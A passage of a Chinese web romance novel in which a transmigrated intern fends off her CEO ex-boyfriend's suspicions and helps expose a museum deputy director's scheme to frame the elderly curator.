“小鹿,你还年轻,不懂。”老员工以一副过来人眼神看向江迟鹿,“等你有男朋友了就知道了。”
所谓演戏演全套,江迟鹿点头:“我有男朋友啊。”
老员工挑眉:“啊,有照片吗?我们看看,我们都以为你没有男朋友了,毕竟你这么漂亮,感觉普通的都搭不上你。”
江迟鹿给自己把路堵死了。
她哈哈笑着,“我男朋友长得丑,平时都不拍照的。”
她笑完,不知道为什么,几个同事对视几眼,居然跑了。
她说的话很吓人吗?
直到头顶落下一阴影,江迟鹿僵硬转头,看到傅靳年就在自己身后,距离很近。
“我看看有多丑。”傅靳年深邃的眸落在她身上。
江迟鹿捏紧了手机,“我怕吓到您。”
好在身旁的祁柏言给解了围,“小江,我对公司流程还有点不熟悉,你再带我一下?”
江迟鹿立即点头,正要跟祁柏言跑路时,傅靳年开口:“她不过是才来的实习生,我安排老人帮你熟悉。”
话毕,傅靳年侧身,目光垂直落在祁柏言身上:“祁总是以前就和她认识?你们似乎.....很熟啊。”
第十三章 男朋友不送你?
“这不是跟傅总同一天认识的吗。”江迟鹿挂了下耳边的发丝,白皙小脸一副标准微笑,“是祁组长性格好,跟谁都相处得来。”
傅靳年扭头看她,薄唇些微笑意,“是么。”
前面说她男朋友性格好,现在又夸祁组长性格好,怎么不见她夸自己。
江迟鹿只觉得多在这待一秒都要喘不过气来,“我还有工作要忙,你们聊。”
她也不看两人各自是什么反应,直接遁了。
傅靳年漆黑眼眸落在了祁组长身上。
祁柏言眼神也另有深意,他总觉得,迟鹿和傅总之间不太一样。
“傅总还有事?”他温文尔雅,眼睛含笑。
“没事。”傅靳年语气淡然,眸光落在江迟鹿离开的方向。
回到办公室,他把助理叫了进来。
姜则手上还拿着另一份工作报告正要汇报。
就见办公桌前的老板抬手制止了他,“查人那件事情办的怎么样了。”
他一顿,反应过来是在说查那什么前男友.....
“还在查,但是.....有没有可能江小姐是自己私下谈的恋爱,我让人去她以前住的小区打探了消息,但是都没办法问到她谈过男朋友,那些人都说江小姐没有谈过恋爱。”
姜则发觉自己说完,老板的脸色就不太对劲了,很沉。
他闭上了嘴没说话了,在等老板的后文。
“那她现在住的地方呢?”
姜则继续开口:“说到这个,倒是有些奇怪,江小姐现在住的地方居然是市中心的高档区,那里私密性很强。”
傅靳年抬眼,眸色漆黑,“哪里?”
“哦,就是傅小姐住的地方,金港。”
傅靳年眯了眯狭长的眸子。
傅今棠住的地方肯定贵,江迟鹿为什么会住在那里,她是跟男朋友同居吗......
指骨捏着白瓷咖啡杯越来越紧,指尖透过皮肤都起了白。
姜则站在办公桌前,看着自家老板紧抿着唇的样,心里忐忑。
这位江小姐到底和傅总是什么关系,居然能让傅总波动这么大。
“在金港办置一套房,我住。”傅靳年发话。
姜则顿了一下,抬头,“是着急入住吗?”
“嗯,尽快。”
......
江迟鹿回到自己的工位,趴了一下,小麦送过来两份数据,需要她清算。
她揉了揉脸颊,翻开查看。
组长手上拿了一份表单走到江迟鹿身边,“小江,员工宿舍下来了。”
江迟鹿惊喜抬头,“太好了,我什么时候能搬过去。”
虽然闺蜜的大平层是很好住,但她真不好意思一直住着,她又给不起房租,便申请了员工宿舍。
公司的待遇也挺好的,员工宿舍都是两个人住一套,两室一厅。
“你和小麦住怎么样?”组长递过去,“还有其他可以选的,不过我看你平时跟小麦熟一点。”
小麦就在江迟鹿旁边,笑了笑,“好啊,迟鹿你就跟我住呗,今天晚上加完班我请你吃烧烤。”
“好啊。”江迟鹿应了下来。
等组长走了,小麦凑到江迟鹿耳边,“你知道我为什么这么积极要跟你住一间吗!”
江迟鹿调皮一笑:“嗯,你暗恋我啊。”
“切,走开啦。”小麦看了一眼周围,现在估计大家还在用餐或者休息区,人不多,她凑到江迟鹿耳边,“我内部消息听说了,好像有个喜欢咱们傅总的大小姐要来公司,我害怕和她分到一起,我可不愿意伺候大小姐。”
江迟鹿颇感不妙,“大.....小姐?不会是......姓苏吧?”
“啊对对对,你也知道?你从哪知道的啊,不赖啊小鹿鹿,人脉很广哦。”
江迟鹿咬牙:“哈哈。”
当初就不该入职啊,可惜现在后悔也来不及了,因为她参加的这期项目是保密项目,就算离职了,她也不能入职其他公司,而这期项目最少也要半年才结束,让她半年不工作就是饿死她。
小麦啧了一声,蹙眉,“不过这大小姐来公司,也住员工宿舍?她随随便便在公司附近租个房不就行了。或许她是那种不会用特权的亲民大小姐?”
江迟鹿坐在一旁没有说话,手撑着脸颊看自己的数据表,叹了三声气开始干活。
还能怎么办呢,没办法的事那就不多想了,走一步看一步吧,反正暂时死不了。
一直到晚上十一点才忙完,小麦下午说的什么吃烧烤早就作废,现下大家只想快点回到家里躺平。
“抱歉啊迟鹿,下次再请你吃烧烤。”小麦像是被吸干了精气的尸体一样,驼着背,双眼无神,“哦对了,你什么时候搬来员工宿舍啊。”
江迟鹿想了想,“等不加班的时候吧,这周好像都要加班,没时间啊。”
她抬手拍了拍小麦肩膀,“回家了。”
走出公司大门时,江迟鹿不禁回头看了一眼。
傅靳年的办公室灯还是亮着的。
手机‘叮’了声,祁柏言发来的消息。
-你人呢?我送你。
看着消息,江迟鹿指尖停留在屏幕上,虽然挺想舒舒服服坐车回去的,但是两人现在的关系,还是避下嫌比较好。
-我在公司门口,不用了,我自己回去吧,这么晚了,你也早点回家休息。
-我开车去公司右边的便利店前,你去那等我。
她回了个好。
刚要走,身后突然传来一道声音,“江迟鹿。”
她身形一顿,缓缓转过身。
应该在高层办公室的人此刻就站在她身前。
“哈哈.....傅总你也下班了啊。那什么,我就先回家了。”
“你男朋友不来接吗?”傅靳年若有似无盯着她,眉宇挑了一下,抬了抬手表,“这么晚了,你那性格很好的男朋友......这么不体贴?”
江迟鹿咬着后槽牙,“他也在加班,不劳您费心了,我自己也能回去,又不是小孩了。”
“是吗。”傅靳年一只手插进兜里,薄唇微微扯了一下,“正好顺路,你的上司捎你一程。”
“不......”
第十四章 呵呵,故意的。
“提醒你一下,就在刚刚,末班车已经没有了。”他身体微侧,帅气的眉眼垂着看向她,“还是你打算住在公司。”
江迟鹿总不能说自己做祁柏言的车回去。
“走吧,你男朋友应该不会这么小气吧,上司送你一下就吃醋?”傅靳年副驾驶的车门,夜色里,朦胧的眉眼有些模糊不清。
她拎着包走过去,小声说了句谢谢,又补充了一句,“他可能还真会吃醋。”
“......”
砰的一声。
关门声似乎带着气。
江迟鹿吓得肩膀一哆嗦。
不都说车就是男人第二个老婆吗,傅靳年对老婆这么狠。
她又看了一眼这车,嗯,只知道很贵。
车载香薰的味道她有些熟悉,是葡萄柚的味道,果甜暖香。
她大学时期很喜欢的一款香味。
他怎么偏偏用这一款......
江迟鹿把脑子里那些不成熟的心思晃了出去。
一个香薰而已,不要多想!
她拿着手机给祁柏言发消息。
【我打车回去了,你先回去吧!】
“你家在哪。”耳边传来低沉的嗓音,她侧了一眼过去。
“我......”江迟鹿算是明白了一个道理。
撒一个谎,就需要无数个谎去圆。
她要是说她住在金港,傅靳年会不会怀疑她和傅今棠的关系。
毕竟她这穷样,明显是住不起那么贵的房子的。
思索一番,她开口:“我男朋友住在金港,你把我送到那就好了。”
说完,她感觉车内的空气似乎冷了许多。
她若无其事往窗外看。
“好。”耳边一记轻声。
大概是贵的车坐起来太舒服了,不知不觉,她靠着舒适的座椅睡了过去。
迷迷糊糊中,有人在晃她。
“嗯......”她不耐烦地偏过了脸。
一记轻笑蹿入耳蜗,撩得人有些痒。
她终于反应过来,自己现在还在傅靳年的车上呢,困意一下就没了,她睁开眼,“哦,到了啊。”
她一边解开安全带,一边匆忙说,“谢谢傅总今天送我回家!那我就先走了,你也早点回家。”
砰一声关上门,她抬眼,人懵了,怎么给她送回她爸妈家了?
老天爷,这离公司车程两小时!
她回头。
车窗缓缓落下,露出男人精致中带着一股邪气的眉眼。
他眉梢上扬,眼尾自在得意,“晚安。”
呵呵,故意的。
江迟鹿挑眉:“傅总,您不想送可以不送的,何必耍我玩。”
傅靳年从容,“我说和你顺路,是顺这条路,我不顺路金港。”
江迟鹿:“......”
她微笑,“行,我回去看看我熟睡的爸妈,谢谢傅总。”
她发誓,再坐傅靳年的车她就是狗。
果然,人不能坐狗的车。
嗒嗒踩在地上的脚步声越来越远,纤细的背影进了门,消弭在夜色中。
停留在小区门口的迈巴赫才打开车门,男人修长玉立的身影从车内下来。
像以前一样站在冷夜里,盯着一处,直到灯光亮起。
......
江迟鹿第二天刚到公司,就被组长塞了手掌厚的资料,“你把这些看完,下午跟傅总和祁组长一起出差。”
“我?”她指着自己。
组长凑过去,小声问:“我也疑惑啊,傅总亲自点的你,你是不是惹到傅总了。”
小麦在一旁笑嘻嘻捂着脸,“也不一定惹到了,还有可能是招惹啊,毕竟我们小鹿鹿这么漂亮,我坐在旁边都无心工作了,傅......”
“咳咳。”组长瞪了一眼小麦,“这话你还敢说,今天要来谁你不知道?”
“哦!”小麦捂着自己的嘴巴,“大小姐......”
江迟鹿抱着那巴掌厚的资料回了自己的养殖槽,喝了一口续命液。
一切都是为了两万二的月薪。
小麦拍了拍她的肩膀,安慰道:“这样下去,我感觉你升职加薪很快了,毕竟你学历又好,在学校的简历也漂亮,不过我还有些意外你怎么不读个博啊,不然工资还能翻几倍呢。”
江迟鹿刚入职的时候大家就知道公司要来个漂亮的名牌院校研究生。
还有其他部门的专门来看她,可以说是公司的风云人物。
“读博?”江迟鹿扯了下嘴角,“再读下去我得饿死。”
当时学校提出愿意支撑她所有费用,可惜家里出了事......
“没事,出来工作也挺好的。”
自己赚钱的感觉还是很爽的。
苏轻是下午两点半来入职报道的。
她穿了一身名牌,全身上下加在一起都够他们一年工资了。
办公区的人心里都门儿清。
苏轻看到江迟鹿在时,显然愣了两秒。
江迟鹿无奈垂下头,估计这位又要误会自己是要和她抢傅靳年了。
也不知道老天爷怎么想的,既然都让自己穿书了,好歹让自己知道全部剧情啊,光给个觉醒让她在这瞎猫碰耗子。
“江迟鹿,好巧啊,也在这里工作啊。”苏轻笑着看向她。
大家的目光一下子就放在了江迟鹿的身上。
小麦惊讶:“你们认识啊。”
她应了声,没多说。
“小江,你都准备好了吧,傅总他们要走了,你去楼下等。”组长开口道。
苏轻问:“傅总去哪?”
江迟鹿看到组长顿了一下,还是回了,“是出差,跟研发团队的祁组长,然后有些资料我让小江整理了。”
这回复,俨然是已经把苏轻当作未来的老板娘对待了,跟汇报工作似的。
苏轻垂下眼,“我初来乍到,还有很多需要学习的地方,我能跟着她熟悉一下吗?”
组长有些懵,“要不......你问傅总吧?”
苏轻笑了笑,“那我直接下去吧。”
这话的意思就是以两人的关系压根不用问。
她跟在江迟鹿身后,两人进了电梯。
电梯内很安静,一路下行。
苏轻打破了这份安静,“江迟鹿,那天你和靳年......”
“什么也没发生,傅总只是交代我一些工作我就离开了。”
苏轻看向她,“上次宴会上凌语冒犯了你,我替她向你道歉,希望你不要放在心里。”
第十五章 我女朋友要是听到这话,该吃醋了
电梯门开了。
江迟鹿走出去,“我没放在心里。”
骗人的,她要是可以,恨不得扇凌语两巴掌。
两人坐在一楼的大厅等待。
没几分钟,电梯再一次抵达一楼,两道高挑的身影从里面出来。
傅靳年身着黑色西装,气势压人,侧着头和一旁的祁柏言说着什么。
“小江也到了。”祁柏言抬头。
闻言,垂着眼的人掀了掀眼皮,看到江迟鹿身旁坐着苏轻时,冷白的面庞越发沉静,薄唇紧抿不发一言。
“靳......傅总。”苏轻规矩的喊了一声,这次的机会是她求了父母好不容易得来的,她也知道傅靳年不喜欢走后门的路径,所以一切都按照公司的规矩来,她住员工宿舍,跟实习生一起考核。
傅靳年没有说话,收回目光往外面走,司机已经停好车等在外面了。
到达博物院时,江迟鹿在车上把整理好的全部资料又记了一遍,其中院长蒋文芳的名字她觉得意外熟悉。
蒋院长和几位工作人员在特殊入口接待。
“蒋奶奶。”
江迟鹿正在想自己究竟在哪里听说过这位院长的名字,就听苏轻意外叫了一声。
脑子顿时迸发出一段记忆,蒋奶奶,是文中那个自杀的蒋奶奶。
剧情里,蒋奶奶是推动男女主感情的重要角色。
蒋文芳一生未嫁,清廉奉公,一辈子守着国家文物,因为不愿意同流合污,被人陷害,最终以死明志。
而苏轻为了替蒋院长证明清白,四处奔波,通宵操劳,男主知道她为了这件事把身体熬进了医院,心疼得不行,也对她娇生惯养大小姐的身份改观,原本不想被家族掌控和她联姻的男主同意了和她订婚。
蒋奶奶是苏轻的高光剧情。
苏轻的奶奶和蒋院长是挚友,挚友的孙女跟她自己的孙女没什么区别,她笑着过去拉住苏轻的手,“你怎么在这啊,好久没见你了。”
苏轻含笑,看了一眼傅靳年,“奶奶,我在靳年公司上班,今天算出差。”
蒋奶奶显然知道苏轻对傅靳年的感情,揶揄的眼神扫了一眼两人。
不过蒋文芳是公事公办的人,现在显然不是唠嗑的时间。
“里面请。”
这次现场勘察光勘察小组就派来了三组,一组有三位,一共九位。
进入博物院第一个展厅,勘察小组拿出仪器开始工作,祁柏言在其中协调。
江迟鹿陪同在傅靳年身边,听蒋院长介绍。
蒋院长已经七十多岁了,但谈及博物院里的文物依旧目光矍铄,口齿清晰傲然。
江迟鹿看着她枯老面庞上亮晶晶的眼睛,侃侃而谈的自信骄傲,心里涌出酸涩。
迟来的正义......对受害者真的公平吗。
一行人继续往下一个展厅走,这时一位副院长走来。
“蒋院长,这今天傅总来你怎么也不说一声,商务上的事情你哪里明白,我来和傅总说吧。”
江迟鹿目光望去,就看蒋院长十分信任这位副院长,笑了笑,“那些事我确实搞不太明白,我平时就和文物打交道,傅总,那我就让程院长陪同你了。”
江迟鹿垂下眼,眼见着蒋院长一点也没有院长架子,退到了旁边,像个普通小职工一样。
对接完后,副院长请客吃饭,蒋院长因为忙不开便推辞了。
副院长定在一家高档私人餐厅。
江迟鹿中途出去,看着门口的服务员,“你好,老板叫我先出来买单。”
她从服务员手里拿到了一张单子,低眼一看,今天这一桌竟然吃了五十多万。
她几乎可以确定,这位副院长势必是逼死蒋院长的那群人中了。
“不好意思啊,我先进去问问要不要再加菜。”她笑着把单子退了回去,进了房间。
她一进去,听到副院长笑着看向苏轻和傅靳年,“早就听说你们两家要结盟,今天一看,郎才女貌十分般配啊。”
傅靳年抬眼,眸色深邃,“苏轻是公司新来的实习生,我女朋友要是听到这话,该吃醋了。”
副院长一顿,脸上差点没挂住,“这,原来傅总有女朋友了啊,哈哈,是我的错。”
江迟鹿脚步一顿,视线停留在他的背影。
一旁的苏轻瞳孔骤缩,她看向傅靳年,咬着唇垂下了头。
他口中这个女朋友,到底是幌子还是......他从来没认同过他跟江迟鹿已经分开。
苏轻的指甲抓着衣摆越来越紧。
这次一同用餐的还有另外两位副院长,跟程院长看起来关系都不错。
江迟鹿不动声色做在一旁,将一切看在眼底。
用餐差不多后,副院长抬了下手,偌大的房间里灯光发生变化,流光溢彩,从门口进来几位身材姣好长相上乘的舞女,身着古香古色的唐装扭着腰进来。
餐桌的灯光暗了下来,特意打在了舞女身上。
江迟鹿坐得好好的,突然感觉手边被塞了张卡片,她顿住,往后看了一眼,视线太暗,看不清是谁塞来的。
一支舞结束后,灯光复亮,她低头看手上的卡片。
唇角忍不住扯笑。
程光远,程副院长。
她抬眼,那位副院长却似什么也没发生一样,看向傅靳年,“傅总,下次还有商务上的事情,您直接找我就是了,我们院长一门心思在研究文物上,对这些都不上心。”
说完,他身边的助理朝傅靳年递出名片。
也就是说,塞在江迟鹿手里的名片可不是什么为了对接工作的名片,是他单独给的。
“时间也不早了,我特意叫人安排了舒适的房间,傅总和您的团队今晚好好休息,既然来了,也不能光工作,也要好好玩玩,感受下我们这的特色。”副院长亲自领着傅靳年上楼,“我跟傅老爷子许久未见了,您回去还请帮我问好啊。”
傅靳年淡然垂首。
江迟鹿跟在旁边,低头看自己的房间号,在五楼。
电梯在三楼停下,傅靳年和副院长以及苏轻都出去了。
电梯里只剩下江迟鹿。
也就是说,只有她的房间在五楼。
第十六章 “你女朋友声音......好像有点耳熟。
江迟鹿站在电梯里没动,过了会儿,她按下开门,出去后也没有找傅靳年,闪身进了洗手间。
没过多久,副院长的声音传来,“那个小实习生安排好了吧?”
“单独安排在了五楼,这是房卡,程院长,给她递了名片,她也没主动联系你,估计是不愿意......她毕竟是傅总的人......”
“什么傅总的人,就是个实习生,我就算硬要了,她一个刚出社会的小姑娘敢做什么?就算闹到傅总那去了,牺牲她一个无关紧要的实习生还是牺牲这么大一笔合作他能拿不准?”
程光远冷笑,“给她脸她还不识抬举。”
江迟鹿靠在浮雕墙壁,等人走远,她盯着手机上的录音。
走到傅靳年房间门口,迟疑再三,终究是没有按下门铃。
她给祁柏言发去消息。
祁柏言就被安排在傅靳年旁边的房间,没过多久,房门从里面被打开,祁柏言惊讶地看着她,“你怎么下来了?”
江迟鹿摇头,推着他走进去,关上门。
“我有点害怕,所以打扰你一晚,我睡沙发。”江迟鹿刚说完,祁柏言手揉在她头上,“是不是出什么事了?”
她抬眼,对上祁柏延琥珀色的眸子,身体像泡入了一眼温泉。
她握紧拳头拍了下他肩膀,“没事,就是女人的第六感你懂吗!”
她惹不起还躲不起吗。
祁柏言轻笑,“我猜,是今天晚上下雨,你怕打雷吧,小女孩的第六感。”
江迟鹿没解释,耍赖一样躺在沙发,“我都跟你说多少遍了,我早就不怕打雷了。”
傅靳年离开的那个晚上,她听了一夜的雷声。
“对了,有件事......”祁柏言晃了晃手机,“刚才收到的消息,好像有人在打听你的前男友。”
江迟鹿拿过他的手机。
祁柏言坐在她身边,看她认真盯着手机上的消息,秀致的眉头蹙在一起。
“你觉得是谁在调查?”
江迟鹿指尖一顿,抬头时两眼茫然,看向祁柏言,“啊?我怎么知道,不会是你一直不回家继承家产,所以你家那边怀疑这里有什么妖妃迷惑你......”
她挑眉。
祁柏言嘴角勾起,“你吗?那我承认。”
江迟鹿倏地把手机塞回去,“别逗我玩了,你快去洗澡吧,你洗完我洗,然后早点睡,明天还忙工作呢。”
“你先吧,哥哥让着你。”祁柏言拍了拍她肩膀,“去吧。”
江迟鹿直接进了浴室。
祁柏言坐去沙发,打开笔记本电脑,刚工作一会儿。
门铃声响了。
他起身去开门,看到门口的傅靳年,惊了一下,“傅总?”
傅靳年手上一台笔记本正亮着,他蹙着眉,“需要打扰你一下,我刚刚看了你们今天传的数据,有个地方.......进去说吧,可能需要打扰你三十分钟,算加班费。”
“啊......我,”祁柏言下意识往浴室看去。
傅靳年已经进去了。
他注意到浴室灯是亮的,想来是祁柏言刚才打算洗漱吧。
他走到长桌的位置放下笔记本。
祁柏言拿着手机给江迟鹿发消息。
【别出来。】
“叮。”
沙发上,一个粉色手机壳的手机响了一声。
是江迟鹿的手机......估计是她刚才躺下时从兜里掉出来的。
祁柏言心一跳,连忙往傅靳年那看去。
好在傅靳年专注盯着电脑屏幕看,并没有被手机提示音吸引。
他走过去,脑子嗡嗡的,一时也不知道现在该怎么办。
最有用的手机在外面,他还能怎么提醒江迟鹿。
浴室里面的水声也没有传出来,这房子隔音真不错,估计江迟鹿也没有听到傅靳年的声音。
“咳咳!傅总!您是哪里有问题?!”祁柏言提高了音量。
傅靳年抬眼,“我耳朵没问题,可以正常说话。”
祁柏言:“我.......”
“好的——傅总!”他声音洪亮。
傅靳年不知道他在犯什么病,抬手,指尖指着屏幕上一处,“这里。”
突然,浴室传来敲门声。
听到浴室有声音,他看向祁柏言,“还......有人?”
祁柏言停顿几秒,慢半拍地点头,“是。”
傅靳年没想到祁柏言出个差女朋友也来了。
他拿起已经放在桌上的笔记本,“那.......”
“祁柏言,只有一条浴巾,我先用了,你等会儿让前台再送一条上来吧。”浴室里的女声出来。
房间里的两人都顿住了。
傅靳年蹙眉,“你女朋友声音......好像有点耳熟。”
从浴室传出来的声音很闷,还嗡嗡的有回音。
他不确定......
“傅总,这世界上相似的声音不计其数,我女朋友是大众声音,你觉得耳熟也正常。”
祁柏言走到浴室门口,“我知道了,傅总工作上有点事找我,你多洗会儿宝贝。”
江迟鹿刚围上浴巾,听到门口传来的话,整个脑仁嗡嗡嗡在响。
傅靳年?!
她咽了咽口水,紧张地掐着嗓子,“好。”
傅靳年轻咳了一声,“不用,既然你......忙,那我明天找你。”
他单手拿着笔记本匆匆出去了。
站在门口,原本打算直接回房间,似是突然想到什么,他拿起手机给江迟鹿发了条消息。
【你房间号是?有一组数据要和你核对一下,祁组长他有事。】
房内,祁柏言和江迟鹿正在浴室门口庆幸,都没有注意沙发上响了一声的手机。
“还好他出去了。”江迟鹿捂着自己的胸口,“差点给我吓出心脏病。”
祁柏言吐出一口气,“没事了。”
这话刚出,沙发上的手机响起电话铃。
江迟鹿走过去,看清楚打电话的人是谁后,一口气差点没倒过来。
“怎么了?”
“傅.....”江迟鹿抬高手机,她食指抵在唇上,示意祁柏言别说话,接通了电话。
“傅总.....您找我有事吗?”
“没看消息吗。”对面低沉的声音传来。
第十七章 你已经到我房门口了?
江迟鹿感觉今天应该会是自己这辈子最精彩的一天了。
她翻看了一眼消息,立即开口:“傅总,我已经睡了!”
“现在不是醒了吗,开门。”
“你已经到我房门口了?”
“我不知道你房号。”
江迟鹿张唇,正想叫他回去,想起副院长恶心的嘴脸,她转口道,“5012。”
“知道了。”电话挂断。
祁柏言:“你告诉他房号做什么?你现在闪现回去?”
江迟鹿哼笑一声,“我只说睡了,又没说我在5012睡的,我难道就不能......刚好我男朋友出差也在这附近,我找他去了吗。”
这有个男朋友就是好啊,什么借口都能往男朋友身上甩,反正他也不存在。
祁柏言无奈一笑,“你这.......算耍他吗?”
“我耍他一次又怎么了,他.....”上次还耍我呢。
话没说完,江迟鹿闭上嘴,“他自己这么晚了还找员工加班,丧尽天良。”
五楼。
傅靳年按了5012的门铃。
第一次没人应,他接着按了第二次、第三次。
他心里疑虑重重,却也只当江迟鹿报复他上次送错地方故意为之。
又继续按铃。
啪嗒,房门被人拉开。
是裸着上半身一脸口红印的程光远。
他心脏悬着,瞳孔映出这一幕,死盯着他,眉宇渗出恐怖寒气。
“......傅,傅总?你怎么.....”程光远惊讶地看着他,脸上顿时心虚慌乱。
傅靳年眼睛僵硬地往屋子里看,白色床单拱起一团......屋子里传出来的味道让他胸腔一震。
“傅总,我......”程光远正要说点什么。
“砰”地一声,凌厉的拳头蓄满力砸在程光远脸颊的口红印上。
程光远像块袒露的猪肉,毫无还手之力,被那一拳砸伤门框,额头流出殷红。
他盯着倒在地上流血抽搐的人,捏着拳头的手在颤抖,时间定格,他没敢往屋子里看。
直到里面的女人主动走出来,尖叫了一声。
他抬眼,看到一副陌生面庞。
不是江迟鹿。
接下来的一切他都无心在意了。
他抿紧唇角,鼻息加重,捏着手机给江迟鹿打电话。
“你在哪?”他声音冷得发沉,十分吓人,尾音还带着些颤。
他知道她是故意叫他上来的,但他生气的不是这个。
明明是她的房间,为什么程光远会在里面,这中间肯定发生了什么。
如果他没有主动打电话给她,她是不是根本就不会让他知道这件事。
“说话。”不容置喙的沉重语气。
空气安静了三秒,电话那边传来她的轻声,“我男朋友刚好出差,我找他了,傅总有事的话明天再聊吧,我先挂了。”
她说完,匆匆挂断电话。
她其实只是想试探傅靳年的反应,她觉得她不会是程光远口中那种人。
听到那边杂乱的背景音,她确定傅靳年不是那样人。
可是......她的心里并不好受,这样的结果不是挺好的吗。
有这样一位老板,她一个当下属的该庆幸才对。
还想奢求什么呢。
抬眼的转瞬,对上祁柏言的眼睛。
祁柏言眯了眯眼,眸色幽邃,“你和傅总......到底是怎么一回事?”
她轻咳了一声,呼吸机几瞬,笑了笑,“这能有什么事啊,就是傅总加班找不到人生气了呗。”
祁柏言安静看着她,没再说话。
他叫前台拿了新的浴巾上来。
这一夜三人都难以入眠。
第二天接着去博物院,原本该是一起从酒店出发过去的,等江迟鹿和祁柏言按规定时间到一楼时,听其他员工说傅总自己先过去了。
......
顺利的话今天差不多就能完成所有展厅的勘察,江迟鹿今天的工作没那么忙了,在博物院看了会儿展品。
走着走着,发现一处不错的风景,墨瓦白墙,浮雕拱门,玉兰花雅致作衬。
她正想往前走一步,旁边有工作人员上前阻止,“不好意思,里面不对外展示。”
江迟鹿正想离开,拱门里走出来蒋院长,她挺直身板,穿着暗纹的中式长裙,笑了笑,“你是傅总身边那位?”
“蒋院长,你好,我叫江迟鹿,你叫我小江就行,不好意思打扰你了,我是看院里的玉兰花太美了,不知不觉走过来了。”
“进来吧。”蒋院长笑着抬手,态度和蔼。
“这既然是不对外开放的,我还是不进了吧。”江迟鹿着急推脱。
她也不知道为什么,她像是在躲避这位院长一样,还是在怕什么。
“不是说玉兰开得好吗,进来看看。”
蒋院长再一次开口,她不好再推脱,“好......”
她抬步抬进去,刚一落脚,看到玉兰树下一块不规则的自然石桌旁站着傅靳年,身形颀长。
她有些意外,“傅总......”
傅靳年面色很平淡,极其冷淡地点了下头。
江迟鹿抿了下唇,没自讨没趣。
蒋院长笑了笑,“他啊,跟你一样,都是被这颗玉兰吸引过来的,于是啊,我就邀请他进来,我正在这研究字画,没想到傅总在字画方面了解深入啊。”
江迟鹿心脏一颤,视线落在玉兰树上。
蒋院长就是在这颗树延伸出来的枝桠上吊自缢的。
玉兰树往里就是她平日工作的地方,四扇格子窗敞开,里面一张古棕色大书桌,摆放着她正在修复的一件器皿。
就算最后蒋院长的名声清白了,可人已经没了.......
江迟鹿心底那个想法又在隐隐扩大,被她压制住。
她连自己都没法改变,还想改变别人?
外面,三名副院长匆匆赶来,脸上急出了汗。
江迟鹿目光在三人前顿了顿。
蒋文芳看向三人,“怎么了?这么着急。”
其中一位淡眉三角眼长胡子的老人站出来,“蒋院长......出事了。”
他话还没说完,程光远打断他开口:“反正事情都爆出来了,你还支支吾吾做什么,也不怕让傅总看笑话了,蒋院长,你怎么能将徒弟的作品窃为己用呢。”
第十八章 你昨晚找你男朋友跟祁组长说了吗?
程光远贿赂了蒋院长的下属,让那位下属私自在发表的文章加上了蒋院长的署名,最后倒打一耙咬定蒋院长学术剽窃,压榨下属。
今天便是那位下属的爆料直接冲上了热搜。
当然,这不是压垮蒋院长的主要原因。
学术剽窃事情一出后,三位副院长以此为借口清查蒋院长,把早已经偷偷置换掉的博物院展品诬陷在蒋院长身上。
在疯狂的舆论情况下,蒋院长百口莫辩,上头派下来的调查组也没能还她一个清白。
“现在外面都是记者,把出口都围堵完了,怕是不给出一个合理的回答都出不了这门。”白胡子的副院长看向程光远,“程院长,你看这件事该怎么办啊。”
蒋文芳盯着手机上的爆料,不可置信,“我从来没做过这样的事!”
她声音洪亮如钟声,不愿意受辱,“把冯博叫来,我要跟他对峙,我要做澄清。”
江迟鹿扫了程光远一眼,他恐怕就等着蒋文芳这句话,然后在蒋文芳情绪激动言语不清时录音,接着挑选部分争议录音放出去,让蒋文芳陷入更疯狂的舆论。
她不仅成了窃取下属文章压榨下属的人,还成了事发后威胁下属的大恶人。
最后程光远顺理成章地抛出博物院展品被换之事,大家根本懒得去了解那么多真相,带着偏见继续骂蒋文芳。
“好,现在就叫冯博过来对峙。”程光远叫人去叫冯博。
江迟鹿在混乱中不动声色打开了手机录音。
冯博急匆匆赶过来,在看到蒋文芳的一瞬间垂下了眼。
“冯博,我自问没有什么对不起你的地方,你却私自加上我的署名诬陷我剽窃你的作品?”
蒋文芳仍然不愿意相信这个平时看起来普通老实,一看到她恭恭敬敬把老师两个字挂在口边的下属会做出这样的事。
“老师,你怎么能倒打一耙,分明是你威胁我,要求我这样做的,蒋院长,你现在想为自己洗白?不可能,我已经把事情来龙去脉全部公开曝光了,你这样的人根本不配当院长!就算这次你用我奶奶在医院的费用威胁我,我什么都不要了我也要曝光你!”
冯博有个在医院icu躺着的奶奶,他那点工资是承担不起的,之前便传出过蒋文芳拿出自己的钱帮他缴纳高昂医药费。
当初这件事情上了日报,看哭无数网友。
如今冯博再提这件事却是以这样的阴暗面揭开,让之前为此感动的过的网友更加痛恨。
没有人能忍受好心却遭受背刺。
蒋文芳整个人都在发抖,矍铄的目光发红,她不懂面前的人怎么会变成这样。
她从来没想过有一天,自己竟然会因为救人落下报应。
“冯博,你马上澄清这件事!另外我们博物院容不下你这样的人!”
就是这句话......
江迟鹿抬眼,当初就是因为段话被剪辑后单独曝光出去,让蒋文芳落实了罪名。
“你说蒋院长用你奶奶威胁你?”江迟鹿走上前,蹙眉,“可是我和傅总这次来,特意去医院看望了冯老太太,冯老太太的主治医生明明说,她早在半年前就已经痊愈出院了,现在你又说蒋院长用冯老太太在医院的费用威胁你,难不成是那位医生骗我们的?”
“你......”冯博脸色一下极差,盯着眼前的人看了又看。
江迟鹿双手环胸,好整以暇盯着她看。
冯博和程光远等人早就收买了那位主治医生,让他谎称老太太还在医院治疗。
她刚才说的都是后面蒋文芳清白已明,那些记者深挖挖出来的。
程光远眼色阴鸷,他头上还顶着医用绷带,这个江迟鹿毁了昨晚的好事也就算了。
没想到今天这样的事情她也敢插手。
“傅总去看望了冯老太太,那天可从来没有提及过。”程光远看向傅靳年。
江迟鹿指尖蜷缩,抬眼看向傅靳年。
傅靳年垂下眼,对上那双眼睛,心里忍不住嗤笑,现在知道看他了。
昨晚干脆挂电话的人是谁。
他难道是她挥之即来招之即去的狗吗!
“是,看望冯老太太是我安排的行程。”他嗓音平平。
冯博一下腿软跪在了地上。
程光远瞪他一眼,“那就是你在诬陷我们蒋院长?!”
冯博惊慌摇头,“我,我没有不是我。”
程光远根本不等他说那么多,“保安,把他送去警察局!”
他说完,看向蒋文芳,“蒋院长,我真是没想到这人居然这么恶毒,敢编谎诬陷你,这件事你放心,我肯定调查清楚,今天实在打扰你了。”
江迟鹿体贴走上前,“程院长,你不用担心,我刚刚已经报警,警察马上就来了,这件事毕竟和蒋院长有关系,还是让蒋院长一起去一趟。”
她回头看向蒋文芳,“蒋院长?这事说来也不小。”
“我亲自去。”蒋文芳站出去,却是仍旧气都喘不顺。
